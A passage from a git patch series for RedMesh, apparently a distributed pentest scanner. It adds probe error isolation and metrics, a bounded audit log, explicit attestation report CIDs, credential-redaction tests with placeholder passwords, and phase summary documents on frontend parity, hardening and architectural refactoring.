+ metrics = worker.get_status()["scan_metrics"] + self.assertEqual(metrics["probe_breakdown"]["_graybox_weak_auth"], "skipped:disabled") + def test_get_worker_specific_result_fields(self): """Includes graybox_results.""" fields = GrayboxLocalWorker.get_worker_specific_result_fields() @@ -416,6 +490,11 @@ def test_probe_error_isolation(self): # OK probe still ran ok_findings = worker.state["graybox_results"]["8000"]["_ok"]["findings"] self.assertEqual(len(ok_findings), 1) + metrics = worker.get_status()["scan_metrics"] + self.assertEqual(metrics["probe_breakdown"]["_crash"], "failed") + self.assertEqual(metrics["probe_breakdown"]["_ok"], "completed") + self.assertEqual(metrics["probes_failed"], 1) + self.assertEqual(metrics["probes_completed"], 1) def test_probe_error_records_finding(self): """Crashed probe emits inconclusive finding.""" diff --git a/extensions/business/cybersec/red_mesh/worker/pentest_worker.py b/extensions/business/cybersec/red_mesh/worker/pentest_worker.py index a3cdaf24..cdc37b5c 100644 --- a/extensions/business/cybersec/red_mesh/worker/pentest_worker.py +++ b/extensions/business/cybersec/red_mesh/worker/pentest_worker.py @@ -387,7 +387,15 @@ def execute_job(self): if not self._check_stopped(): self.metrics.phase_start("correlation") - self._post_scan_correlate() + if "_post_scan_correlate" in self.__enabled_features: + try: + self._post_scan_correlate() + self.metrics.record_probe("_post_scan_correlate", "completed") + except Exception as exc: + self.P(f"Correlation probe failed: {exc}", color='r') + self.metrics.record_probe("_post_scan_correlate", "failed") + else: + self.metrics.record_probe("_post_scan_correlate", "skipped:disabled") self.metrics.phase_end("correlation") self.state["completed_tests"].append("correlation_completed") @@ -909,6 +917,7 @@ def _gather_service_info(self): func = getattr(self, method) target_protocols = PROBE_PROTOCOL_MAP.get(method) # None → run unconditionally method_info = [] + method_failed = False for port in open_ports: if self.stop_event.is_set(): return @@ -918,7 +927,12 @@ def _gather_service_info(self): port_proto = port_protocols.get(port, "unknown") if port_proto not in target_protocols: continue - info = func(target, port) + try: + info = func(target, port) + except Exception as exc: + method_failed = True + self.P(f"Service probe {method} failed on port {port}: {exc}", color='r') + continue if info is not None: if port not in self.state["service_info"]: self.state["service_info"][port] = {} @@ -959,7 +973,7 @@ def _gather_service_info(self): f"Method {method} findings:\n{json.dumps(method_info, indent=2)}" ) self.state["completed_tests"].append(method) - self.metrics.record_probe(method, "completed") + self.metrics.record_probe(method, "failed" if method_failed else "completed") # end for each method return aggregated_info @@ -996,10 +1010,16 @@ def _run_web_tests(self): web_tests_methods = [m for m in self.__enabled_features if m.startswith("_web_test_")] for method in web_tests_methods: func = getattr(self, method) + method_failed = False for port in ports_to_test: if self.stop_event.is_set(): return - iter_result = func(target, port) + try: + iter_result = func(target, port) + except Exception as exc: + method_failed = True + self.P(f"Web probe {method} failed on port {port}: {exc}", color='r') + continue if iter_result is not None: result.append(f"{method}:{port} {iter_result}") if port not in self.state["web_tests_info"]: @@ -1016,7 +1036,7 @@ def _run_web_tests(self): return # Stop was requested during sleep # end for each port of current method self.state["completed_tests"].append(method) # register completed method for port - self.metrics.record_probe(method, "completed") + self.metrics.record_probe(method, "failed" if method_failed else "completed") # end for each method self.state["web_tested"] = True return result From 822209ea77125789e4ff73e90f8cbc4c272ab456 Mon Sep 17 00:00:00 2001 From: toderian Date: Wed, 11 Mar 2026 05:19:23 +0000 Subject: [PATCH 055/114] docs(redmesh)(phase 6): summarize navigator graybox parity --- .../docs/codex/2026-03-11-phase-6-summary.md | 135 ++++++++++++++++++ 1 file changed, 135 insertions(+) create mode 100644 extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-6-summary.md diff --git a/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-6-summary.md b/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-6-summary.md new file mode 100644 index 00000000..df6ee33b --- /dev/null +++ b/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-6-summary.md @@ -0,0 +1,135 @@ +# Phase 6 Summary + +Date: 2026-03-11 +Phase: 6 +Title: Frontend Normalization, Graybox UX Parity, and Export Completeness + +## Scope + +This phase focused on RedMesh Navigator only. No backend runtime code changed in this phase. + +Primary goals: +- complete graybox/webapp launch-field propagation through the Navigator UI and Next API route +- normalize graybox job fields consistently in the frontend contract layer +- render graybox worker findings as first-class results in the job details experience +- verify that graybox-specific validation and display behavior match the accepted Phase 6 criteria + +## What Was Changed + +### 1. Frontend normalization and contract handling + +Updated `/home/vitalii/remote-dev/repos/RedMesh-Navigator/lib/api/jobs.ts`: +- fixed port-order normalization so backend `SHUFFLE` maps to frontend `random` +- made excluded-method derivation scan-type-aware +- ensured webapp launch requests invert only graybox feature groups +- preserved graybox identity fields already added in Phase 1 while aligning the rest of the launch mapping + +Updated `/home/vitalii/remote-dev/repos/RedMesh-Navigator/lib/services/edgeClient.ts`: +- added `graybox_results -> grayboxResults` transformation when worker reports are fetched from R1FS + +Updated `/home/vitalii/remote-dev/repos/RedMesh-Navigator/lib/services/redmeshApi.types.ts` and `/home/vitalii/remote-dev/repos/RedMesh-Navigator/lib/api/types.ts`: +- extended worker report typing to include graybox result payloads + +Updated `/home/vitalii/remote-dev/repos/RedMesh-Navigator/lib/domain/features.ts`: +- kept the graybox fallback catalog available in default feature resolution, which is required for mock/fallback mode exclusion logic + +### 2. Job creation UX and validation + +Updated `/home/vitalii/remote-dev/repos/RedMesh-Navigator/components/dashboard/JobForm.tsx`: +- added webapp form controls for: + - `weakCandidates` + - `maxWeakAttempts` + - `verifyTls` +- kept `allowStatefulProbes` explicit and improved toggle accessibility with dedicated labels +- added specific client-side validation messages for: + - missing target URL + - invalid target URL + - missing admin username + - missing admin password +- removed transient submit-path debug logging +- ensured the submit payload now includes: + - `weakCandidates` + - `maxWeakAttempts` + - `verifyTls` + - `allowStatefulProbes` + +Updated `/home/vitalii/remote-dev/repos/RedMesh-Navigator/app/api/jobs/route.ts`: +- retained and verified route-level parsing/validation for webapp fields +- confirmed route forwarding for weak-auth and TLS fields + +### 3. Graybox findings UX + +Updated `/home/vitalii/remote-dev/repos/RedMesh-Navigator/app/dashboard/jobs/[jobId]/components/DetailedWorkerReports.tsx`: +- graybox findings now appear in a dedicated "Authenticated Findings" section +- per-node result cards now treat `grayboxResults` as findings-bearing data +- added status rollups for vulnerable / clean / inconclusive findings +- reused the existing structured finding renderer so replay steps, scenario IDs, severity, and evidence remain consistent + +### 4. Test coverage + +Updated or added: +- `/home/vitalii/remote-dev/repos/RedMesh-Navigator/__tests__/jobs-api.test.ts` +- `/home/vitalii/remote-dev/repos/RedMesh-Navigator/__tests__/jobs-route.test.ts` +- `/home/vitalii/remote-dev/repos/RedMesh-Navigator/__tests__/ui-jobform.test.tsx` +- `/home/vitalii/remote-dev/repos/RedMesh-Navigator/__tests__/detailed-worker-reports.test.tsx` + +Coverage added for: +- running graybox job normalization +- `SHUFFLE -> random` port-order mapping +- propagation of `weakCandidates`, `maxWeakAttempts`, and `verifyTls` +- route rejection for invalid target URLs +- end-to-end UI payload generation for webapp launches +- dedicated rendering of graybox findings in job details + +## Acceptance Criteria Check + +### All graybox launch inputs round-trip correctly through UI -> Next route -> backend + +Met for the Navigator-managed path: +- UI sends the full graybox field set +- route validates and forwards the graybox field set +- request-builder tests confirm correct API payload shaping + +### Job details render graybox results and scenario-oriented findings without network-centric fallbacks + +Met: +- worker report fetches now preserve `grayboxResults` +- detailed results UI now renders a dedicated authenticated findings section + +### Exported PDF includes graybox-specific content + +Met by verification of the current implementation: +- no code change was required here +- existing PDF generation already includes graybox summary and finding sections +- this was re-checked during the phase review + +### Error states distinguish validation problems from transport/server failures + +Met for the webapp creation flow: +- invalid or missing webapp inputs now surface specific validation errors in the UI and route layer + +## Verification + +Executed: + +`npm test -- --runInBand jobs-api.test.ts jobs-route.test.ts ui-jobform.test.tsx detailed-worker-reports.test.tsx` + +Result: +- 4 suites passed +- 12 tests passed + +## Notes / Residual Risk + +- `lib/config/env.ts` still logs raw environment/config data during tests and runtime. This remains a real security issue, but it is part of the later hardening phase, not Phase 6. +- The Phase 6 PDF requirement was satisfied by re-validating the existing implementation rather than changing it. + +## Resulting State + +After Phase 6, Navigator treats graybox scans as first-class jobs in all core operator flows: +- launch configuration +- validation +- typed request construction +- report fetching +- detailed findings presentation + +The next phase should focus on security hygiene and operational hardening. From f61896d688416290900e8e9f3534d189a6f4205a Mon Sep 17 00:00:00 2001 From: toderian Date: Wed, 11 Mar 2026 05:23:43 +0000 Subject: [PATCH 056/114] fix(redmesh)(phase 7): harden attestation and audit logging --- .../docs/codex/2026-03-11-phase-7-summary.md | 125 ++++++++++++++++++ .../cybersec/red_mesh/mixins/attestation.py | 28 +++- .../cybersec/red_mesh/pentester_api_01.py | 21 +-- .../cybersec/red_mesh/tests/test_hardening.py | 83 ++++++++++++ .../red_mesh/tests/test_normalization.py | 49 +++++++ 5 files changed, 295 insertions(+), 11 deletions(-) create mode 100644 extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-7-summary.md create mode 100644 extensions/business/cybersec/red_mesh/tests/test_hardening.py diff --git a/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-7-summary.md b/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-7-summary.md new file mode 100644 index 00000000..b9069fef --- /dev/null +++ b/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-7-summary.md @@ -0,0 +1,125 @@ +# Phase 7 Summary + +Date: 2026-03-11 +Phase: 7 +Title: Security Hygiene and Operational Hardening + +## Scope + +Phase 7 covered both Navigator and RedMesh backend hardening. + +Primary goals: +- remove unsafe environment/config logging from Navigator +- make backend audit logging bounded by construction +- replace attestation magic strings with named constants +- make the attestation CID source explicit instead of relying on an ambiguous worker lookup +- strengthen regression coverage around credential redaction edge cases + +## What Was Changed + +### 1. Navigator config logging hardening + +Updated `/home/vitalii/remote-dev/repos/RedMesh-Navigator/lib/config/env.ts`: +- removed `console.log(process.env)` +- removed resolved-config logging in `getSwaggerUrl()` +- kept runtime config behavior unchanged + +Updated `/home/vitalii/remote-dev/repos/RedMesh-Navigator/__tests__/config-route.test.ts`: +- added regression coverage confirming config resolution still works +- added an explicit test ensuring config route execution does not emit raw environment/config logs + +### 2. Backend audit log hardening + +Updated `/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/pentester_api_01.py`: +- replaced the in-memory audit list with `collections.deque(maxlen=1000)` +- introduced `AUDIT_LOG_MAX_ENTRIES` as a named class constant +- removed manual list slicing logic from `_log_audit_event()` +- normalized `get_audit_log()` to return a plain list view while keeping append behavior O(1) + +Security effect: +- audit growth is bounded by construction rather than by after-the-fact truncation + +### 3. Attestation cleanup + +Updated `/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/pentester_api_01.py`: +- introduced `REDMESH_ATTESTATION_NETWORK` constant +- replaced inline `"base-sepolia"` strings in timeline metadata with the named constant + +Updated `/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/mixins/attestation.py`: +- added `_resolve_attestation_report_cid()` +- removed the unresolved inline TODO for CID selection +- changed `_submit_redmesh_test_attestation()` to accept an explicit `report_cid` +- current pass finalization now passes `aggregated_report_cid` directly into attestation submission + +System design effect: +- the evidence reference used for attestation is now intentionally selected at the call site +- attestation metadata no longer depends on a launcher-specific worker lookup heuristic + +### 4. Redaction edge-case coverage + +Updated `/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_normalization.py`: +- added regression coverage for passwords containing special characters and multiple delimiter patterns +- verified masking in both blackbox and graybox evidence paths + +### 5. New backend hardening tests + +Added `/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_hardening.py`: +- attestation helper tests +- bounded audit-log behavior test + +## Acceptance Criteria Check + +### No server logs print raw environment variables or secrets + +Met for Navigator: +- raw env/config logging removed from the server-side config layer +- route-level regression test added + +### Attestation CID source is explicit and documented + +Met: +- attestation submission now accepts an explicit `report_cid` +- pass finalization passes the aggregated-report CID directly +- the old ambiguous lookup/TODO path was removed + +### Audit buffer remains bounded with O(1) append behavior + +Met: +- audit log now uses `deque(maxlen=1000)` + +### Redaction holds for graybox and blackbox credential evidence edge cases + +Met: +- special-character credential patterns are now covered by tests + +## Verification + +Executed frontend: + +`npm test -- --runInBand config-route.test.ts` + +Result: +- 1 suite passed +- 4 tests passed + +Executed backend: + +`PYTHONPATH=/home/vitalii/remote-dev/repos/edge_node pytest /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_hardening.py /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_normalization.py` + +Result: +- 21 tests passed + +## Notes / Residual Risk + +- Backend attestation still depends on the surrounding blockchain client behavior and configuration; this phase cleaned up source selection and metadata constants, not the broader attestation architecture. +- There are still substantial structural refactors remaining for later phases, especially around orchestration responsibilities in `pentester_api_01.py`. + +## Resulting State + +After Phase 7: +- Navigator no longer leaks raw env/config data through the config layer +- backend audit logging is bounded by construction +- attestation metadata is cleaner and less ambiguous +- credential redaction coverage is stronger for realistic evidence payloads + +The next phase should focus on reducing architectural coupling and responsibility concentration. diff --git a/extensions/business/cybersec/red_mesh/mixins/attestation.py b/extensions/business/cybersec/red_mesh/mixins/attestation.py index 94d5b804..2e5f42a0 100644 --- a/extensions/business/cybersec/red_mesh/mixins/attestation.py +++ b/extensions/business/cybersec/red_mesh/mixins/attestation.py @@ -14,6 +14,22 @@ class _AttestationMixin: """Blockchain attestation methods for PentesterApi01Plugin.""" + @staticmethod + def _resolve_attestation_report_cid(workers: dict, preferred_cid=None) -> str | None: + if isinstance(preferred_cid, str) and preferred_cid.strip(): + return preferred_cid.strip() + if not isinstance(workers, dict): + return None + + report_cids = [ + worker.get("report_cid", "").strip() + for worker in workers.values() + if isinstance(worker, dict) and isinstance(worker.get("report_cid"), str) and worker.get("report_cid").strip() + ] + if len(report_cids) == 1: + return report_cids[0] + return None + def _attestation_get_tenant_private_key(self): private_key = self.cfg_attestation_private_key if private_key: @@ -109,7 +125,15 @@ def _attestation_pack_node_hashes(self, workers: dict) -> str: return digest return "0x" + str(digest) - def _submit_redmesh_test_attestation(self, job_id: str, job_specs: dict, workers: dict, vulnerability_score=0, node_ips=None): + def _submit_redmesh_test_attestation( + self, + job_id: str, + job_specs: dict, + workers: dict, + vulnerability_score=0, + node_ips=None, + report_cid=None, + ): self.P(f"[ATTESTATION] Test attestation requested for job {job_id} (score={vulnerability_score})") if not self.cfg_attestation_enabled: self.P("[ATTESTATION] Attestation is disabled via config. Skipping.", color='y') @@ -128,7 +152,7 @@ def _submit_redmesh_test_attestation(self, job_id: str, job_specs: dict, workers node_count = len(workers) if isinstance(workers, dict) else 0 target = job_specs.get("target") execution_id = self._attestation_pack_execution_id(job_id) - report_cid = workers.get(self.ee_addr, {}).get("report_cid", None) #TODO: use the correct CID + report_cid = self._resolve_attestation_report_cid(workers, preferred_cid=report_cid) node_eth_address = self.bc.eth_address ip_obfuscated = self._attestation_pack_ip_obfuscated(target) cid_obfuscated = self._attestation_pack_cid_obfuscated(report_cid) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index ce4cc3d0..588f4118 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -31,6 +31,7 @@ """ import random +from collections import deque from naeural_core.business.default.web_app.fast_api_web_app import FastApiWebAppPlugin as BasePlugin from .worker import PentestLocalWorker @@ -171,6 +172,8 @@ class PentesterApi01Plugin(BasePlugin, _RedMeshLlmAgentMixin, _AttestationMixin, """ CONFIG = _CONFIG REDMESH_ATTESTATION_DOMAIN = "0xced141225d43c56d8b224d12f0b9524a15dc86df0113c42ffa4bc859309e0d40" + REDMESH_ATTESTATION_NETWORK = "base-sepolia" + AUDIT_LOG_MAX_ENTRIES = 1000 def on_init(self): @@ -188,7 +191,7 @@ def on_init(self): self.scan_jobs = {} # target -> PentestJob instance self.completed_jobs_reports = {} # target -> final report dict self.lst_completed_jobs = [] # List of completed jobs - self._audit_log = [] # Structured audit event log + self._audit_log = deque(maxlen=self.AUDIT_LOG_MAX_ENTRIES) # Structured audit event log self.__last_checked_jobs = 0 self._last_progress_publish = 0 # timestamp of last live progress publish self._foreign_jobs_logged = set() # job IDs we already logged "no worker entry" for @@ -829,9 +832,6 @@ def _log_audit_event(self, event_type, details): } self.P(f"[AUDIT] {event_type}: {self.json_dumps(entry)}") self._audit_log.append(entry) - # Cap at 1000 entries to prevent memory bloat - if len(self._audit_log) > 1000: - self._audit_log = self._audit_log[-1000:] return @@ -1350,6 +1350,7 @@ def _maybe_finalize_pass(self): workers=workers, vulnerability_score=risk_score, node_ips=attestation_node_ips, + report_cid=aggregated_report_cid, ) if redmesh_test_attestation is not None: job_specs["last_attestation_at"] = now_ts @@ -1418,7 +1419,7 @@ def _maybe_finalize_pass(self): job_specs, "blockchain_submit", "Job-finished attestation submitted", actor_type="system", - meta={**redmesh_test_attestation, "network": "base-sepolia"} + meta={**redmesh_test_attestation, "network": self.REDMESH_ATTESTATION_NETWORK} ) self.P(f"[SINGLEPASS] Job {job_id} complete. Status set to FINALIZED.") self._emit_timeline_event(job_specs, "finalized", "Job finalized") @@ -1437,7 +1438,7 @@ def _maybe_finalize_pass(self): job_specs, "blockchain_submit", f"Test attestation submitted (pass {job_pass})", actor_type="system", - meta={**redmesh_test_attestation, "network": "base-sepolia"} + meta={**redmesh_test_attestation, "network": self.REDMESH_ATTESTATION_NETWORK} ) self.P(f"[CONTINUOUS] Pass {job_pass} complete for job {job_id}. Status set to STOPPED (soft stop was scheduled)") self._emit_timeline_event(job_specs, "stopped", "Job stopped") @@ -1451,7 +1452,7 @@ def _maybe_finalize_pass(self): job_specs, "blockchain_submit", f"Test attestation submitted (pass {job_pass})", actor_type="system", - meta={**redmesh_test_attestation, "network": "base-sepolia"} + meta={**redmesh_test_attestation, "network": self.REDMESH_ATTESTATION_NETWORK} ) interval = job_config.get("monitor_interval", self.cfg_monitor_interval) jitter = random.uniform(0, self.cfg_monitor_jitter) @@ -1902,7 +1903,7 @@ def _announce_launch( job_specs, "blockchain_submit", "Job-start attestation submitted", actor_type="system", - meta={**redmesh_job_start_attestation, "network": "base-sepolia"} + meta={**redmesh_job_start_attestation, "network": self.REDMESH_ATTESTATION_NETWORK} ) except Exception as exc: import traceback @@ -2665,7 +2666,9 @@ def get_audit_log(self, limit: int = 100): dict Audit log entries and total count. """ - entries = self._audit_log[-limit:] if limit > 0 else self._audit_log + entries = list(self._audit_log) + if limit > 0: + entries = entries[-limit:] return {"audit_log": entries, "total": len(self._audit_log)} diff --git a/extensions/business/cybersec/red_mesh/tests/test_hardening.py b/extensions/business/cybersec/red_mesh/tests/test_hardening.py new file mode 100644 index 00000000..3ecd4de8 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/tests/test_hardening.py @@ -0,0 +1,83 @@ +import json +import unittest +from collections import deque +from unittest.mock import MagicMock + +from .conftest import mock_plugin_modules + + +class TestAttestationHelpers(unittest.TestCase): + + def test_resolve_attestation_report_cid_prefers_explicit_cid(self): + from extensions.business.cybersec.red_mesh.mixins.attestation import _AttestationMixin + + result = _AttestationMixin._resolve_attestation_report_cid( + {"0xpeer1": {"report_cid": "QmWorkerCid"}}, + preferred_cid=" QmAggregatedCid ", + ) + self.assertEqual(result, "QmAggregatedCid") + + def test_resolve_attestation_report_cid_uses_single_worker_cid_as_fallback(self): + from extensions.business.cybersec.red_mesh.mixins.attestation import _AttestationMixin + + result = _AttestationMixin._resolve_attestation_report_cid( + {"0xpeer1": {"report_cid": "QmWorkerCid"}}, + ) + self.assertEqual(result, "QmWorkerCid") + + def test_submit_test_attestation_uses_explicit_report_cid(self): + from extensions.business.cybersec.red_mesh.mixins.attestation import _AttestationMixin + + class MockHost(_AttestationMixin): + REDMESH_ATTESTATION_DOMAIN = "0x" + ("11" * 32) + + def __init__(self): + self.cfg_attestation_enabled = True + self.cfg_attestation_private_key = "0xprivate" + self.ee_addr = "0xlauncher" + self.bc = MagicMock() + self.bc.eth_address = "0xsender" + self.bc.submit_attestation.return_value = "0xtxhash" + + def P(self, *_args, **_kwargs): + return None + + host = MockHost() + result = host._submit_redmesh_test_attestation( + job_id="jobid123", + job_specs={"target": "https://app.example.com", "run_mode": "SINGLEPASS"}, + workers={"0xlauncher": {"report_cid": "QmWorkerCid"}}, + vulnerability_score=7, + node_ips=["10.0.0.10"], + report_cid="QmAggregatedCid", + ) + + self.assertEqual(result["report_cid"], "QmAggregatedCid") + submit_kwargs = host.bc.submit_attestation.call_args.kwargs + self.assertEqual( + submit_kwargs["function_args"][-1], + host._attestation_pack_cid_obfuscated("QmAggregatedCid"), + ) + + +class TestAuditLogHardening(unittest.TestCase): + + def test_audit_log_uses_bounded_deque(self): + mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + + plugin = PentesterApi01Plugin.__new__(PentesterApi01Plugin) + plugin._audit_log = deque(maxlen=3) + plugin.time = lambda: 123.0 + plugin.ee_addr = "0xnode" + plugin.ee_id = "node-1" + plugin.json_dumps = json.dumps + plugin.P = lambda *_args, **_kwargs: None + + for idx in range(5): + plugin._log_audit_event(f"event-{idx}", {"ordinal": idx}) + + self.assertIsInstance(plugin._audit_log, deque) + self.assertEqual(plugin._audit_log.maxlen, 3) + self.assertEqual(len(plugin._audit_log), 3) + self.assertEqual([entry["event"] for entry in plugin._audit_log], ["event-2", "event-3", "event-4"]) diff --git a/extensions/business/cybersec/red_mesh/tests/test_normalization.py b/extensions/business/cybersec/red_mesh/tests/test_normalization.py index 3c8d3416..7bccb8b1 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_normalization.py +++ b/extensions/business/cybersec/red_mesh/tests/test_normalization.py @@ -221,6 +221,55 @@ class MockHost(_ReportMixin): finding = redacted["graybox_results"]["443"]["_graybox_weak_auth"]["findings"][0] self.assertNotIn("password123", finding["evidence"][0]) + def test_redaction_handles_special_characters_and_multiple_credential_formats(self): + """Credential redaction masks special-character passwords in both blackbox and graybox evidence.""" + from extensions.business.cybersec.red_mesh.mixins.report import _ReportMixin + + class MockHost(_ReportMixin): + pass + + host = MockHost() + report = { + "service_info": { + "22": { + "_service_info_22": { + "findings": [ + {"evidence": "Accepted credential: admin:p@$$:w0rd!"}, + {"evidence": "Accepted random creds service-user:s3cr3t/with/slash"}, + ], + "accepted_credentials": [ + "admin:p@$$:w0rd!", + "service-user:s3cr3t/with/slash", + ], + }, + }, + }, + "graybox_results": { + "443": { + "_graybox_weak_auth": { + "findings": [ + { + "evidence": [ + "accepted=admin:p@$$:w0rd!", + "candidate service-user:s3cr3t/with/slash worked", + ], + }, + ], + }, + }, + }, + } + + redacted = host._redact_report(report) + service_findings = redacted["service_info"]["22"]["_service_info_22"]["findings"] + service_creds = redacted["service_info"]["22"]["_service_info_22"]["accepted_credentials"] + graybox_evidence = redacted["graybox_results"]["443"]["_graybox_weak_auth"]["findings"][0]["evidence"] + + self.assertNotIn("p@$$:w0rd!", service_findings[0]["evidence"]) + self.assertNotIn("s3cr3t/with/slash", service_findings[1]["evidence"]) + self.assertEqual(service_creds, ["admin:***", "service-user:***"]) + self.assertTrue(all("***" in item for item in graybox_evidence)) + class TestFindingCounting(unittest.TestCase): From abf62a2e6033d457ca2a6e9ab0be5abe2348540d Mon Sep 17 00:00:00 2001 From: toderian Date: Wed, 11 Mar 2026 05:32:48 +0000 Subject: [PATCH 057/114] refactor(redmesh)(phase 8): extract launch strategies and state machine --- .../docs/codex/2026-03-11-phase-8-summary.md | 158 +++++++++++ .../cybersec/red_mesh/pentester_api_01.py | 260 ++++++------------ .../cybersec/red_mesh/services/__init__.py | 29 ++ .../cybersec/red_mesh/services/launch.py | 163 +++++++++++ .../red_mesh/services/scan_strategy.py | 49 ++++ .../red_mesh/services/state_machine.py | 72 +++++ .../cybersec/red_mesh/tests/test_api.py | 24 ++ .../red_mesh/tests/test_launch_service.py | 121 ++++++++ .../red_mesh/tests/test_state_machine.py | 59 ++++ 9 files changed, 754 insertions(+), 181 deletions(-) create mode 100644 extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-8-summary.md create mode 100644 extensions/business/cybersec/red_mesh/services/__init__.py create mode 100644 extensions/business/cybersec/red_mesh/services/launch.py create mode 100644 extensions/business/cybersec/red_mesh/services/scan_strategy.py create mode 100644 extensions/business/cybersec/red_mesh/services/state_machine.py create mode 100644 extensions/business/cybersec/red_mesh/tests/test_launch_service.py create mode 100644 extensions/business/cybersec/red_mesh/tests/test_state_machine.py diff --git a/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-8-summary.md b/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-8-summary.md new file mode 100644 index 00000000..1b3934e0 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-8-summary.md @@ -0,0 +1,158 @@ +# Phase 8 Summary + +Date: 2026-03-11 +Phase: 8 +Title: Architectural Reduction of Future Coupling + +## Scope + +Phase 8 focused on RedMesh backend architecture. Navigator code was not changed in this phase. + +Primary goals: +- reduce responsibility concentration inside `pentester_api_01.py` +- move scan-type dispatch policy out of the API plugin into a dedicated strategy layer +- make job-state transitions explicit and validated +- add regression coverage around the extracted architectural seams + +## What Was Changed + +### 1. Extracted scan strategy metadata + +Added: +- `/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/services/scan_strategy.py` +- `/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/services/__init__.py` + +This new strategy layer now owns: +- scan-type coercion +- scan-type -> worker-class mapping +- scan-type -> feature-catalog categories mapping + +Effect: +- `pentester_api_01.py` no longer owns the worker-dispatch table directly +- feature discovery and catalog validation are now driven by the extracted strategy model + +### 2. Extracted local launch orchestration + +Added: +- `/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/services/launch.py` + +This service now owns: +- network local-worker batching and launch behavior +- webapp single-worker launch behavior +- scan-type-specific local dispatch selection + +Updated `/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/pentester_api_01.py`: +- `_maybe_launch_jobs()` now delegates to `launch_local_jobs()` +- `_launch_job()` is retained only as a compatibility wrapper around the extracted service + +Effect: +- launch/runtime dispatch policy is no longer embedded directly inside the main plugin loop + +### 3. Introduced explicit job-state transition rules + +Added: +- `/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/services/state_machine.py` + +This module defines: +- allowed transitions between: + - `RUNNING` + - `COLLECTING` + - `ANALYZING` + - `FINALIZING` + - `SCHEDULED_FOR_STOP` + - `STOPPED` + - `FINALIZED` +- helpers for: + - transition validation + - terminal-state checks + - intermediate-state checks + +Updated `/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/pentester_api_01.py`: +- pass finalization now uses `set_job_status()` instead of direct raw assignment +- stop paths now use the explicit transition helper +- terminal/intermediate skip logic now uses the extracted status helpers + +### 4. Continuous-monitoring lifecycle correction + +While implementing the explicit transition map, one real lifecycle bug was corrected: + +- continuous-monitoring jobs previously advanced through `COLLECTING -> ANALYZING -> FINALIZING`, then scheduled the next pass without returning to `RUNNING` +- Phase 8 now transitions them back to `RUNNING` after pass finalization when the job is continuing + +This improves: +- lifecycle clarity +- progress/reporting correctness +- future state-based reasoning in both API and UI layers + +### 5. Regression coverage for extracted architecture + +Added: +- `/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_state_machine.py` +- `/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_launch_service.py` + +Updated: +- `/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_api.py` + +Coverage added for: +- valid and invalid job-state transitions +- continuous `FINALIZING -> RUNNING` transition +- extracted network launch service +- extracted webapp launch service +- actual `_maybe_finalize_pass()` behavior returning continuous jobs to `RUNNING` + +## Acceptance Criteria Check + +### `pentester_api_01.py` loses at least one major responsibility area + +Met: +- local launch orchestration moved into `services/launch.py` +- scan strategy metadata moved into `services/scan_strategy.py` +- status transition rules moved into `services/state_machine.py` + +### Scan-type branching becomes strategy-driven rather than repeated conditionals + +Met in the key orchestration path: +- feature discovery and catalog filtering use scan strategy metadata +- local worker dispatch is centralized behind the launch service and strategy selection + +### State transitions are explicit and validated + +Met: +- job-state transitions now go through an explicit transition map for the finalized runtime path + +### New finding-source additions require fewer touchpoints than today + +Partially improved: +- this phase did not introduce a findings bundle abstraction +- but it did reduce coupling for scan-type and lifecycle changes, which was the highest-leverage structural risk in the current code + +## Verification + +Executed: + +`PYTHONPATH=/home/vitalii/remote-dev/repos/edge_node pytest /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_state_machine.py /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_launch_service.py /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_api.py` + +Result: +- 74 tests passed + +Executed: + +`PYTHONPATH=/home/vitalii/remote-dev/repos/edge_node pytest /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_integration.py` + +Result: +- 26 tests passed + +## Notes / Residual Risk + +- `pentester_api_01.py` is still a large orchestrator; this phase reduced scope but did not complete the broader collaborator split proposed in the plan. +- Frontend adapter centralization was not changed in this phase. The structural risk addressed here was primarily backend orchestration and state management. + +## Resulting State + +After Phase 8: +- scan-type behavior is more explicit +- launch dispatch is less entangled with endpoint logic +- lifecycle transitions are no longer ad hoc +- continuous-monitoring jobs return to a correct steady-state status between 